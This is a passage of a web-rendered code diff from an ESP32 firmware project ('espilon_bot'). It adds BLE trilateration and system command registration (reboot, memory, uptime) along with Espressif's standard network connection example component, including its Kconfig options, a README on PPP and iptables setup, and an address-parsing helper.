.handler = cmd_trilat_start,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
.min_args = 4,
|
||||
.max_args = 4
|
||||
};
|
||||
|
||||
static const command_t cmd_trilat_stop_def = {
|
||||
.name = "trilat",
|
||||
.sub = "stop",
|
||||
.help = "Stop BLE trilateration",
|
||||
.handler = cmd_trilat_stop,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
.min_args = 2,
|
||||
.max_args = 2
|
||||
};
|
||||
|
||||
void mod_ble_trilat_register_commands(void)
|
||||
{
|
||||
command_register(&cmd_trilat_start_def);
|
||||
command_register(&cmd_trilat_stop_def);
|
||||
}
|
||||
6
espilon_bot/components/mod_system/CMakeLists.txt
Normal file
6
espilon_bot/components/mod_system/CMakeLists.txt
Normal file
@ -0,0 +1,6 @@
|
||||
idf_component_register(
|
||||
SRCS
|
||||
cmd_system.c
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES core command esp_timer nvs_flash spi_flash
|
||||
)
|
||||
117
espilon_bot/components/mod_system/cmd_system.c
Normal file
117
espilon_bot/components/mod_system/cmd_system.c
Normal file
@ -0,0 +1,117 @@
|
||||
/*
|
||||
* cmd_system.c
|
||||
* Refactored for new command system (flat commands)
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <inttypes.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_system.h"
|
||||
#include "esp_timer.h"
|
||||
#include "esp_chip_info.h"
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "SYSTEM"
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: system_reboot
|
||||
* ============================================================ */
|
||||
static int cmd_system_reboot(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
msg_info(TAG, "Rebooting device", req);
|
||||
|
||||
vTaskDelay(pdMS_TO_TICKS(250));
|
||||
esp_restart();
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: system_mem
|
||||
* ============================================================ */
|
||||
static int cmd_system_mem(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
uint32_t heap_free = esp_get_free_heap_size();
|
||||
uint32_t heap_min = esp_get_minimum_free_heap_size();
|
||||
size_t internal_free = heap_caps_get_free_size(MALLOC_CAP_INTERNAL);
|
||||
|
||||
char buf[256];
|
||||
snprintf(buf, sizeof(buf),
|
||||
"heap_free=%" PRIu32 " heap_min=%" PRIu32 " internal_free=%u",
|
||||
heap_free,
|
||||
heap_min,
|
||||
(unsigned)internal_free
|
||||
);
|
||||
|
||||
msg_info(TAG, buf, req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: system_uptime
|
||||
* ============================================================ */
|
||||
static int cmd_system_uptime(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
uint64_t sec = esp_timer_get_time() / 1000000ULL;
|
||||
|
||||
char buf[128];
|
||||
snprintf(buf, sizeof(buf),
|
||||
"uptime=%llu days=%llu h=%02llu m=%02llu s=%02llu",
|
||||
(unsigned long long)sec,
|
||||
(unsigned long long)(sec / 86400),
|
||||
(unsigned long long)((sec / 3600) % 24),
|
||||
(unsigned long long)((sec / 60) % 60),
|
||||
(unsigned long long)(sec % 60)
|
||||
);
|
||||
|
||||
msg_info(TAG, buf, req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND REGISTRATION
|
||||
* ============================================================ */
|
||||
static const command_t system_cmds[] = {
|
||||
{ "system_reboot", 0, 0, cmd_system_reboot, NULL, false },
|
||||
{ "system_mem", 0, 0, cmd_system_mem, NULL, false },
|
||||
{ "system_uptime", 0, 0, cmd_system_uptime, NULL, false }
|
||||
};
|
||||
|
||||
void mod_system_register_commands(void)
|
||||
{
|
||||
ESP_LOGI(TAG, "Registering system commands");
|
||||
|
||||
for (size_t i = 0; i < sizeof(system_cmds)/sizeof(system_cmds[0]); i++) {
|
||||
command_register(&system_cmds[i]);
|
||||
}
|
||||
}
|
||||
3
espilon_bot/components/mod_system/cmd_system.h
Normal file
3
espilon_bot/components/mod_system/cmd_system.h
Normal file
@ -0,0 +1,3 @@
|
||||
#pragma once
|
||||
|
||||
void mod_system_register_commands(void);
|
||||
@ -0,0 +1,19 @@
|
||||
idf_build_get_property(target IDF_TARGET)
|
||||
|
||||
if(${target} STREQUAL "linux")
|
||||
# Header only library for linux
|
||||
|
||||
idf_component_register(INCLUDE_DIRS include
|
||||
SRCS protocol_examples_utils.c)
|
||||
return()
|
||||
endif()
|
||||
|
||||
set(srcs "addr_from_stdin.c"
|
||||
"protocol_examples_utils.c")
|
||||
|
||||
|
||||
|
||||
idf_component_register(SRCS "${srcs}"
|
||||
INCLUDE_DIRS "include"
|
||||
PRIV_REQUIRES esp_netif driver esp_wifi vfs esp_eth)
|
||||
|
||||
@ -0,0 +1,425 @@
|
||||
menu "Example Connection Configuration"
|
||||
|
||||
orsource "$IDF_PATH/examples/common_components/env_caps/$IDF_TARGET/Kconfig.env_caps"
|
||||
|
||||
config EXAMPLE_CONNECT_WIFI
|
||||
bool "connect using WiFi interface"
|
||||
depends on !IDF_TARGET_LINUX && (SOC_WIFI_SUPPORTED || ESP_WIFI_REMOTE_ENABLED)
|
||||
default y if SOC_WIFI_SUPPORTED
|
||||
help
|
||||
Protocol examples can use Wi-Fi and/or Ethernet to connect to the network.
|
||||
Choose this option to connect with WiFi
|
||||
|
||||
if EXAMPLE_CONNECT_WIFI
|
||||
config EXAMPLE_WIFI_SSID_PWD_FROM_STDIN
|
||||
bool "Get ssid and password from stdin"
|
||||
default n
|
||||
help
|
||||
Give the WiFi SSID and password from stdin.
|
||||
|
||||
config EXAMPLE_PROVIDE_WIFI_CONSOLE_CMD
|
||||
depends on !EXAMPLE_WIFI_SSID_PWD_FROM_STDIN
|
||||
bool "Provide wifi connect commands"
|
||||
default y
|
||||
help
|
||||
Provide wifi connect commands for esp_console.
|
||||
Please use `example_register_wifi_connect_commands` to register them.
|
||||
|
||||
config EXAMPLE_WIFI_SSID
|
||||
depends on !EXAMPLE_WIFI_SSID_PWD_FROM_STDIN
|
||||
string "WiFi SSID"
|
||||
default "myssid"
|
||||
help
|
||||
SSID (network name) for the example to connect to.
|
||||
|
||||
config EXAMPLE_WIFI_PASSWORD
|
||||
depends on !EXAMPLE_WIFI_SSID_PWD_FROM_STDIN
|
||||
string "WiFi Password"
|
||||
default "mypassword"
|
||||
help
|
||||
WiFi password (WPA or WPA2) for the example to use.
|
||||
Can be left blank if the network has no security set.
|
||||
|
||||
config EXAMPLE_WIFI_CONN_MAX_RETRY
|
||||
int "Maximum retry"
|
||||
default 6
|
||||
help
|
||||
Set the Maximum retry to avoid station reconnecting to the AP unlimited,
|
||||
in case the AP is really inexistent.
|
||||
|
||||
choice EXAMPLE_WIFI_SCAN_METHOD
|
||||
prompt "WiFi Scan Method"
|
||||
default EXAMPLE_WIFI_SCAN_METHOD_ALL_CHANNEL
|
||||
help
|
||||
WiFi scan method:
|
||||
|
||||
If "Fast" is selected, scan will end after find SSID match AP.
|
||||
|
||||
If "All Channel" is selected, scan will end after scan all the channel.
|
||||
|
||||
config EXAMPLE_WIFI_SCAN_METHOD_FAST
|
||||
bool "Fast"
|
||||
config EXAMPLE_WIFI_SCAN_METHOD_ALL_CHANNEL
|
||||
bool "All Channel"
|
||||
endchoice
|
||||
|
||||
menu "WiFi Scan threshold"
|
||||
config EXAMPLE_WIFI_SCAN_RSSI_THRESHOLD
|
||||
int "WiFi minimum rssi"
|
||||
range -127 0
|
||||
|
||||
default -127
|
||||
help
|
||||
The minimum rssi to accept in the scan mode.
|
||||
|
||||
choice EXAMPLE_WIFI_SCAN_AUTH_MODE_THRESHOLD
|
||||
prompt "WiFi Scan auth mode threshold"
|
||||
default EXAMPLE_WIFI_AUTH_OPEN
|
||||
help
|
||||
The weakest authmode to accept in the scan mode.
|
||||
|
||||
config EXAMPLE_WIFI_AUTH_OPEN
|
||||
bool "OPEN"
|
||||
config EXAMPLE_WIFI_AUTH_WEP
|
||||
bool "WEP"
|
||||
config EXAMPLE_WIFI_AUTH_WPA_PSK
|
||||
bool "WPA PSK"
|
||||
config EXAMPLE_WIFI_AUTH_WPA2_PSK
|
||||
bool "WPA2 PSK"
|
||||
config EXAMPLE_WIFI_AUTH_WPA_WPA2_PSK
|
||||
bool "WPA WPA2 PSK"
|
||||
config EXAMPLE_WIFI_AUTH_WPA2_ENTERPRISE
|
||||
bool "WPA2 ENTERPRISE"
|
||||
config EXAMPLE_WIFI_AUTH_WPA3_PSK
|
||||
bool "WPA3 PSK"
|
||||
config EXAMPLE_WIFI_AUTH_WPA2_WPA3_PSK
|
||||
bool "WPA2 WPA3 PSK"
|
||||
config EXAMPLE_WIFI_AUTH_WAPI_PSK
|
||||
bool "WAPI PSK"
|
||||
endchoice
|
||||
endmenu
|
||||
|
||||
choice EXAMPLE_WIFI_CONNECT_AP_SORT_METHOD
|
||||
prompt "WiFi Connect AP Sort Method"
|
||||
default EXAMPLE_WIFI_CONNECT_AP_BY_SIGNAL
|
||||
help
|
||||
WiFi connect AP sort method:
|
||||
|
||||
If "Signal" is selected, Sort matched APs in scan list by RSSI.
|
||||
|
||||
If "Security" is selected, Sort matched APs in scan list by security mode.
|
||||
|
||||
config EXAMPLE_WIFI_CONNECT_AP_BY_SIGNAL
|
||||
bool "Signal"
|
||||
config EXAMPLE_WIFI_CONNECT_AP_BY_SECURITY
|
||||
bool "Security"
|
||||
endchoice
|
||||
endif
|
||||
|
||||
config EXAMPLE_CONNECT_ETHERNET
|
||||
bool "connect using Ethernet interface"
|
||||
depends on !IDF_TARGET_LINUX
|
||||
default y if !EXAMPLE_CONNECT_WIFI
|
||||
help
|
||||
Protocol examples can use Wi-Fi and/or Ethernet to connect to the network.
|
||||
Choose this option to connect with Ethernet
|
||||
|
||||
if EXAMPLE_CONNECT_ETHERNET
|
||||
config EXAMPLE_ETHERNET_EMAC_TASK_STACK_SIZE
|
||||
int "emac_rx task stack size"
|
||||
default 2048
|
||||
help
|
||||
This set stack size for emac_rx task
|
||||
|
||||
config EXAMPLE_USE_SPI_ETHERNET
|
||||
bool
|
||||
|
||||
choice EXAMPLE_ETHERNET_TYPE
|
||||
prompt "Ethernet Type"
|
||||
default EXAMPLE_USE_INTERNAL_ETHERNET if SOC_EMAC_SUPPORTED
|
||||
default EXAMPLE_USE_W5500
|
||||
help
|
||||
Select which kind of Ethernet will be used in the example.
|
||||
|
||||
config EXAMPLE_USE_INTERNAL_ETHERNET
|
||||
depends on SOC_EMAC_SUPPORTED
|
||||
select ETH_USE_ESP32_EMAC
|
||||
bool "Internal EMAC"
|
||||
help
|
||||
Select internal Ethernet MAC controller.
|
||||
|
||||
config EXAMPLE_USE_DM9051
|
||||
bool "DM9051 Module"
|
||||
select EXAMPLE_USE_SPI_ETHERNET
|
||||
select ETH_USE_SPI_ETHERNET
|
||||
select ETH_SPI_ETHERNET_DM9051
|
||||
help
|
||||
Select external SPI-Ethernet module.
|
||||
|
||||
config EXAMPLE_USE_W5500
|
||||
bool "W5500 Module"
|
||||
select EXAMPLE_USE_SPI_ETHERNET
|
||||
select ETH_USE_SPI_ETHERNET
|
||||
select ETH_SPI_ETHERNET_W5500
|
||||
help
|
||||
Select external SPI-Ethernet module (W5500).
|
||||
|
||||
config EXAMPLE_USE_OPENETH
|
||||
bool "OpenCores Ethernet MAC (EXPERIMENTAL)"
|
||||
select ETH_USE_OPENETH
|
||||
help
|
||||
When this option is enabled, the example is built with support for
|
||||
OpenCores Ethernet MAC, which allows testing the example in QEMU.
|
||||
Note that this option is used for internal testing purposes, and
|
||||
not officially supported. Examples built with this option enabled
|
||||
will not run on a real ESP32 chip.
|
||||
|
||||
endchoice # EXAMPLE_ETHERNET_TYPE
|
||||
|
||||
if EXAMPLE_USE_INTERNAL_ETHERNET
|
||||
choice EXAMPLE_ETH_PHY_MODEL
|
||||
prompt "Ethernet PHY Device"
|
||||
default EXAMPLE_ETH_PHY_IP101
|
||||
help
|
||||
Select the Ethernet PHY device to use in the example.
|
||||
|
||||
config EXAMPLE_ETH_PHY_IP101
|
||||
bool "IP101"
|
||||
help
|
||||
IP101 is a single port 10/100 MII/RMII/TP/Fiber Fast Ethernet Transceiver.
|
||||
Goto http://www.icplus.com.tw/pp-IP101G.html for more information about it.
|
||||
|
||||
config EXAMPLE_ETH_PHY_RTL8201
|
||||
bool "RTL8201/SR8201"
|
||||
help
|
||||
RTL8201F/SR8201F is a single port 10/100Mb Ethernet Transceiver with auto MDIX.
|
||||
Goto http://www.corechip-sz.com/productsview.asp?id=22 for more information about it.
|
||||
|
||||
config EXAMPLE_ETH_PHY_LAN87XX
|
||||
bool "LAN87xx"
|
||||
help
|
||||
Below chips are supported:
|
||||
LAN8710A is a small footprint MII/RMII 10/100 Ethernet Transceiver with HP Auto-MDIX and
|
||||
flexPWR® Technology.
|
||||
LAN8720A is a small footprint RMII 10/100 Ethernet Transceiver with HP Auto-MDIX Support.
|
||||
LAN8740A/LAN8741A is a small footprint MII/RMII 10/100 Energy Efficient Ethernet Transceiver
|
||||
with HP Auto-MDIX and flexPWR® Technology.
|
||||
LAN8742A is a small footprint RMII 10/100 Ethernet Transceiver with HP Auto-MDIX and
|
||||
flexPWR® Technology.
|
||||
Goto https://www.microchip.com for more information about them.
|
||||
|
||||
config EXAMPLE_ETH_PHY_DP83848
|
||||
bool "DP83848"
|
||||
help
|
||||
DP83848 is a single port 10/100Mb/s Ethernet Physical Layer Transceiver.
|
||||
Goto http://www.ti.com/product/DP83848J for more information about it.
|
||||
|
||||
config EXAMPLE_ETH_PHY_KSZ80XX
|
||||
bool "KSZ80xx"
|
||||
help
|
||||
With the KSZ80xx series, Microchip offers single-chip 10BASE-T/100BASE-TX
|
||||
Ethernet Physical Layer Transceivers (PHY).
|
||||
The following chips are supported: KSZ8001, KSZ8021, KSZ8031, KSZ8041,
|
||||
KSZ8051, KSZ8061, KSZ8081, KSZ8091
|
||||
Goto https://www.microchip.com for more information about them.
|
||||
endchoice
|
||||
|
||||
config EXAMPLE_ETH_MDC_GPIO
|
||||
int "SMI MDC GPIO number"
|
||||
range ENV_GPIO_RANGE_MIN ENV_GPIO_OUT_RANGE_MAX
|
||||
default 23 if IDF_TARGET_ESP32
|
||||
default 31 if IDF_TARGET_ESP32P4
|
||||
help
|
||||
Set the GPIO number used by SMI MDC.
|
||||
|
||||
config EXAMPLE_ETH_MDIO_GPIO
|
||||
int "SMI MDIO GPIO number"
|
||||
range ENV_GPIO_RANGE_MIN ENV_GPIO_OUT_RANGE_MAX
|
||||
default 18 if IDF_TARGET_ESP32
|
||||
default 52 if IDF_TARGET_ESP32P4
|
||||
help
|
||||
Set the GPIO number used by SMI MDIO.
|
||||
endif
|
||||
|
||||
if EXAMPLE_USE_SPI_ETHERNET
|
||||
config EXAMPLE_ETH_SPI_HOST
|
||||
int "SPI Host Number"
|
||||
range 0 2
|
||||
default 1
|
||||
help
|
||||
Set the SPI host used to communicate with the SPI Ethernet Controller.
|
||||
|
||||
config EXAMPLE_ETH_SPI_SCLK_GPIO
|
||||
int "SPI SCLK GPIO number"
|
||||
range ENV_GPIO_RANGE_MIN ENV_GPIO_OUT_RANGE_MAX
|
||||
default 14
|
||||
help
|
||||
Set the GPIO number used by SPI SCLK.
|
||||
|
||||
config EXAMPLE_ETH_SPI_MOSI_GPIO
|
||||
int "SPI MOSI GPIO number"
|
||||
range ENV_GPIO_RANGE_MIN ENV_GPIO_OUT_RANGE_MAX
|
||||
default 13
|
||||
help
|
||||
Set the GPIO number used by SPI MOSI.
|
||||
|
||||
config EXAMPLE_ETH_SPI_MISO_GPIO
|
||||
int "SPI MISO GPIO number"
|
||||
range ENV_GPIO_RANGE_MIN ENV_GPIO_IN_RANGE_MAX
|
||||
default 12
|
||||
help
|
||||
Set the GPIO number used by SPI MISO.
|
||||
|
||||
config EXAMPLE_ETH_SPI_CS_GPIO
|
||||
int "SPI CS GPIO number"
|
||||
range ENV_GPIO_RANGE_MIN ENV_GPIO_OUT_RANGE_MAX
|
||||
default 15
|
||||
help
|
||||
Set the GPIO number used by SPI CS.
|
||||
|
||||
config EXAMPLE_ETH_SPI_CLOCK_MHZ
|
||||
int "SPI clock speed (MHz)"
|
||||
range 5 80
|
||||
default 36
|
||||
help
|
||||
Set the clock speed (MHz) of SPI interface.
|
||||
|
||||
config EXAMPLE_ETH_SPI_INT_GPIO
|
||||
int "Interrupt GPIO number"
|
||||
range ENV_GPIO_RANGE_MIN ENV_GPIO_IN_RANGE_MAX
|
||||
default 4
|
||||
help
|
||||
Set the GPIO number used by the SPI Ethernet module interrupt line.
|
||||
endif # EXAMPLE_USE_SPI_ETHERNET
|
||||
|
||||
config EXAMPLE_ETH_PHY_RST_GPIO
|
||||
int "PHY Reset GPIO number"
|
||||
range -1 ENV_GPIO_OUT_RANGE_MAX
|
||||
default 51 if IDF_TARGET_ESP32P4
|
||||
default 5
|
||||
help
|
||||
Set the GPIO number used to reset PHY chip.
|
||||
Set to -1 to disable PHY chip hardware reset.
|
||||
|
||||
config EXAMPLE_ETH_PHY_ADDR
|
||||
int "PHY Address"
|
||||
range 0 31 if EXAMPLE_USE_INTERNAL_ETHERNET
|
||||
default 1
|
||||
help
|
||||
Set PHY address according your board schematic.
|
||||
endif # EXAMPLE_CONNECT_ETHERNET
|
||||
|
||||
config EXAMPLE_CONNECT_PPP
|
||||
bool "connect using Point to Point interface"
|
||||
select LWIP_PPP_SUPPORT
|
||||
help
|
||||
Protocol examples can use PPP connection over serial line.
|
||||
Choose this option to connect to the ppp server running
|
||||
on your laptop over a serial line (either UART or USB ACM)
|
||||
|
||||
if EXAMPLE_CONNECT_PPP
|
||||
choice EXAMPLE_CONNECT_PPP_DEVICE
|
||||
prompt "Choose PPP device"
|
||||
default EXAMPLE_CONNECT_PPP_DEVICE_USB
|
||||
help
|
||||
Select which peripheral to use to connect to the PPP server.
|
||||
|
||||
config EXAMPLE_CONNECT_PPP_DEVICE_USB
|
||||
bool "USB"
|
||||
depends on SOC_USB_OTG_SUPPORTED
|
||||
select TINYUSB_CDC_ENABLED
|
||||
help
|
||||
Use USB ACM device.
|
||||
|
||||
config EXAMPLE_CONNECT_PPP_DEVICE_UART
|
||||
bool "UART"
|
||||
help
|
||||
Use UART.
|
||||
|
||||
endchoice
|
||||
|
||||
menu "UART Configuration"
|
||||
depends on EXAMPLE_CONNECT_PPP_DEVICE_UART
|
||||
config EXAMPLE_CONNECT_UART_TX_PIN
|
||||
int "TXD Pin Number"
|
||||
default 4
|
||||
range 0 31
|
||||
help
|
||||
Pin number of UART TX.
|
||||
|
||||
config EXAMPLE_CONNECT_UART_RX_PIN
|
||||
int "RXD Pin Number"
|
||||
default 5
|
||||
range 0 31
|
||||
help
|
||||
Pin number of UART RX.
|
||||
|
||||
config EXAMPLE_CONNECT_UART_BAUDRATE
|
||||
int "UART Baudrate"
|
||||
default 115200
|
||||
range 9600 3000000
|
||||
help
|
||||
Baudrate of the UART device
|
||||
|
||||
endmenu
|
||||
|
||||
config EXAMPLE_PPP_CONN_MAX_RETRY
|
||||
int "Maximum retry"
|
||||
default 6
|
||||
help
|
||||
Set the Maximum retry to avoid station reconnecting if the pppd
|
||||
is not available
|
||||
|
||||
endif # EXAMPLE_CONNECT_PPP
|
||||
|
||||
config EXAMPLE_CONNECT_IPV4
|
||||
bool
|
||||
depends on LWIP_IPV4
|
||||
default y
|
||||
|
||||
config EXAMPLE_CONNECT_IPV6
|
||||
depends on EXAMPLE_CONNECT_WIFI || EXAMPLE_CONNECT_ETHERNET || EXAMPLE_CONNECT_PPP
|
||||
bool "Obtain IPv6 address"
|
||||
default y
|
||||
select LWIP_IPV6
|
||||
select LWIP_PPP_ENABLE_IPV6 if EXAMPLE_CONNECT_PPP
|
||||
help
|
||||
By default, examples will wait until IPv4 and IPv6 local link addresses are obtained.
|
||||
Disable this option if the network does not support IPv6.
|
||||
Choose the preferred IPv6 address type if the connection code should wait until other than
|
||||
the local link address gets assigned.
|
||||
Consider enabling IPv6 stateless address autoconfiguration (SLAAC) in the LWIP component.
|
||||
|
||||
if EXAMPLE_CONNECT_IPV6
|
||||
choice EXAMPLE_CONNECT_PREFERRED_IPV6
|
||||
prompt "Preferred IPv6 Type"
|
||||
default EXAMPLE_CONNECT_IPV6_PREF_LOCAL_LINK
|
||||
help
|
||||
Select which kind of IPv6 address the connect logic waits for.
|
||||
|
||||
config EXAMPLE_CONNECT_IPV6_PREF_LOCAL_LINK
|
||||
bool "Local Link Address"
|
||||
help
|
||||
Blocks until Local link address assigned.
|
||||
|
||||
config EXAMPLE_CONNECT_IPV6_PREF_GLOBAL
|
||||
bool "Global Address"
|
||||
help
|
||||
Blocks until Global address assigned.
|
||||
|
||||
config EXAMPLE_CONNECT_IPV6_PREF_SITE_LOCAL
|
||||
bool "Site Local Address"
|
||||
help
|
||||
Blocks until Site link address assigned.
|
||||
|
||||
config EXAMPLE_CONNECT_IPV6_PREF_UNIQUE_LOCAL
|
||||
bool "Unique Local Link Address"
|
||||
help
|
||||
Blocks until Unique local address assigned.
|
||||
|
||||
endchoice
|
||||
|
||||
endif
|
||||
|
||||
|
||||
endmenu
|
||||
58
espilon_bot/components/protocol_examples_common/README.md
Normal file
58
espilon_bot/components/protocol_examples_common/README.md
Normal file
@ -0,0 +1,58 @@
|
||||
# protocol_example_connect
|
||||
|
||||
This component implements the most common connection methods for ESP32 boards. It should be used mainly in examples of ESP-IDF to demonstrate functionality of network protocols and other libraries, that need the connection step as a prerequisite.
|
||||
|
||||
## How to use this component
|
||||
|
||||
Choose the preferred interface (WiFi, Ethernet, PPPoS) to connect to the network and configure the interface.
|
||||
|
||||
It is possible to enable multiple interfaces simultaneously making the connection phase to block until all the chosen interfaces acquire IP addresses.
|
||||
It is also possible to disable all interfaces, skipping the connection phase altogether.
|
||||
|
||||
### WiFi
|
||||
|
||||
Choose WiFi connection method (for chipsets that support it) and configure basic WiFi connection properties:
|
||||
* WiFi SSID
|
||||
* WiFI password
|
||||
* Maximum connection retry (connection would be aborted if it doesn't succeed after specified number of retries)
|
||||
* WiFi scan method (including RSSI and authorization mode threshold)
|
||||
|
||||
|
||||
|
||||
### Ethernet
|
||||
|
||||
Choose Ethernet connection if your board supports it. The most common settings is using Espressif Ethernet Kit, which is also the recommended HW for this selection. You can also select an SPI ethernet device (if your chipset doesn't support internal EMAC or if you prefer). It is also possible to use OpenCores Ethernet MAC if you're running the example under QEMU.
|
||||
|
||||
### PPP
|
||||
|
||||
Point to point connection method creates a simple IP tunnel to the counterpart device (running PPP server), typically a Linux machine with pppd service. We currently support only PPP over Serial (using UART or USB CDC). This is useful for simple testing of networking layers, but with some additional configuration on the server side, we could simulate standard model of internet connectivity. The PPP server could be also represented by a cellular modem device with pre-configured connectivity and already switched to PPP mode (this setup is not very flexible though, so we suggest using a standard modem library implementing commands and modes, e.g. [esp_modem](https://components.espressif.com/component/espressif/esp_modem) ).
|
||||
|
||||
> [!Note]
|
||||
> Note that if you choose USB device, you have to manually add a dependency on `esp_tinyusb` component. This step is necessary to keep the `protocol_example_connect` component simple and dependency free. Please run this command from your project location to add the dependency:
|
||||
> ```bash
|
||||
> idf.py add-dependency espressif/esp_tinyusb^1
|
||||
> ```
|
||||
|
||||
#### Setup a PPP server
|
||||
|
||||
Connect the board using UART or USB and note the device name, which would be typically:
|
||||
* `/dev/ttyACMx` for USB devices
|
||||
* `/dev/ttyUSBx` for UART devices
|
||||
|
||||
Run the pppd server:
|
||||
|
||||
```bash
|
||||
sudo pppd /dev/ttyACM0 115200 192.168.11.1:192.168.11.2 ms-dns 8.8.8.8 modem local noauth debug nocrtscts nodetach +ipv6
|
||||
```
|
||||
|
||||
Please update the parameters with the correct serial device, baud rate, IP addresses, DNS server, use `+ipv6` if `EXAMPLE_CONNECT_IPV6=y`.
|
||||
|
||||
#### Connection to outside
|
||||
|
||||
In order to access other network endpoints, we have to configure some IP/translation rules. The easiest method is to setup a masquerade of the PPPD created interface (`ppp0`) to your default networking interface (`${ETH0}`). Here is an example of such rule:
|
||||
|
||||
```bash
|
||||
sudo iptables -t nat -A POSTROUTING -o ${ETH0} -j MASQUERADE
|
||||
sudo iptables -A FORWARD -i ${ETH0} -o ppp0 -m state --state RELATED,ESTABLISHED -j ACCEPT
|
||||
sudo iptables -A FORWARD -i ppp0 -o ${ETH0} -j ACCEPT
|
||||
```
|
||||
@ -0,0 +1,69 @@
|
||||
#include <string.h>
|
||||
#include "esp_system.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_netif.h"
|
||||
#include "protocol_examples_common.h"
|
||||
|
||||
#include "lwip/sockets.h"
|
||||
#include <lwip/netdb.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
#define HOST_IP_SIZE 128
|
||||
|
||||
esp_err_t get_addr_from_stdin(int port, int sock_type, int *ip_protocol, int *addr_family, struct sockaddr_storage *dest_addr)
|
||||
{
|
||||
char host_ip[HOST_IP_SIZE];
|
||||
int len;
|
||||
static bool already_init = false;
|
||||
|
||||
// this function could be called multiple times -> make sure UART init runs only once
|
||||
if (!already_init) {
|
||||
example_configure_stdin_stdout();
|
||||
already_init = true;
|
||||
}
|
||||
|
||||
// ignore empty or LF only string (could receive from DUT class)
|
||||
do {
|
||||
fgets(host_ip, HOST_IP_SIZE, stdin);
|
||||
len = strlen(host_ip);
|
||||
} while (len<=1 && host_ip[0] == '\n');
|
||||
host_ip[len - 1] = '\0';
|
||||
|
||||
struct addrinfo hints, *addr_list, *cur;
|
||||
memset( &hints, 0, sizeof( hints ) );
|
||||
|
||||
// run getaddrinfo() to decide on the IP protocol
|
||||
hints.ai_family = AF_UNSPEC;
|
||||
hints.ai_socktype = sock_type;
|
||||
hints.ai_protocol = IPPROTO_TCP;
|
||||
if( getaddrinfo( host_ip, NULL, &hints, &addr_list ) != 0 ) {
|
||||
return ESP_FAIL;
|
||||
}
|
||||
for( cur = addr_list; cur != NULL; cur = cur->ai_next ) {
|
||||
memcpy(dest_addr, cur->ai_addr, sizeof(*dest_addr));
|
||||
#if CONFIG_EXAMPLE_CONNECT_IPV4
|
||||
if (cur->ai_family == AF_INET) {
|
||||
*ip_protocol = IPPROTO_IP;
|
||||
*addr_family = AF_INET;
|
||||
// add port number and return on first IPv4 match
|
||||
((struct sockaddr_in*)dest_addr)->sin_port = htons(port);
|
||||
freeaddrinfo( addr_list );
|
||||
return ESP_OK;
|
||||
}
|
||||
#endif // IPV4
|
||||
#if CONFIG_EXAMPLE_CONNECT_IPV6
|
||||
if (cur->ai_family == AF_INET6) {
|
||||
*ip_protocol = IPPROTO_IPV6;
|
||||
*addr_family = AF_INET6;
|
||||
// add port and interface number and return on first IPv6 match
|
||||
((struct sockaddr_in6*)dest_addr)->sin6_port = htons(port);
|
||||
((struct sockaddr_in6*)dest_addr)->sin6_scope_id = esp_netif_get_netif_impl_index(EXAMPLE_INTERFACE);
|
||||
freeaddrinfo( addr_list );
|
||||
return ESP_OK;
|
||||
}
|
||||
#endif // IPV6
|
||||
}
|
||||
// no match found
|
||||
freeaddrinfo( addr_list );
|
||||
return ESP_FAIL;
|
||||
}
|
||||
@ -0,0 +1,44 @@
|
||||
/* Common utilities for socket address input interface:
|
||||
The API get_addr_from_stdin() is mainly used by socket client examples which read IP address from stdin (if configured).
|
||||
This option is typically used in the CI, but could be enabled in the project configuration.
|
||||
In that case this component is used to receive a string that is evaluated and processed to output
|
||||
socket structures to open a connectio
|
||||
This example code is in the Public Domain (or CC0 licensed, at your option.)
|
||||
|
||||
Unless required by applicable law or agreed to in writing, this
|
||||
software is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
|
||||
CONDITIONS OF ANY KIND, either express or implied.
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "lwip/sys.h"
|
||||
#include <lwip/netdb.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/**
|
||||
* @brief Read and evaluate IP address from stdin
|
||||
*
|
||||
* This API reads stdin and parses the input address using getaddrinfo()
|
||||
* to fill in struct sockaddr_storage (for both IPv4 and IPv6) used to open
|
||||
* a socket. IP protocol is guessed from the IP address string.
|
||||
*
|
||||
* @param[in] port port number of expected connection
|
||||
* @param[in] sock_type expected protocol: SOCK_STREAM or SOCK_DGRAM
|
||||
* @param[out] ip_protocol resultant IP protocol: IPPROTO_IP or IPPROTO_IP6
|
||||
* @param[out] addr_family resultant address family: AF_INET or AF_INET6
|
||||
* @param[out] dest_addr sockaddr_storage structure (for both IPv4 and IPv6)
|
||||
* @return ESP_OK on success, ESP_FAIL otherwise
|
||||
*/
|
||||
esp_err_t get_addr_from_stdin(int port, int sock_type,
|
||||
int *ip_protocol,
|
||||
int *addr_family,
|
||||
struct sockaddr_storage *dest_addr);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@ -0,0 +1,56 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: 2022-2023 Espressif Systems (Shanghai) CO LTD
|
||||
*
|
||||
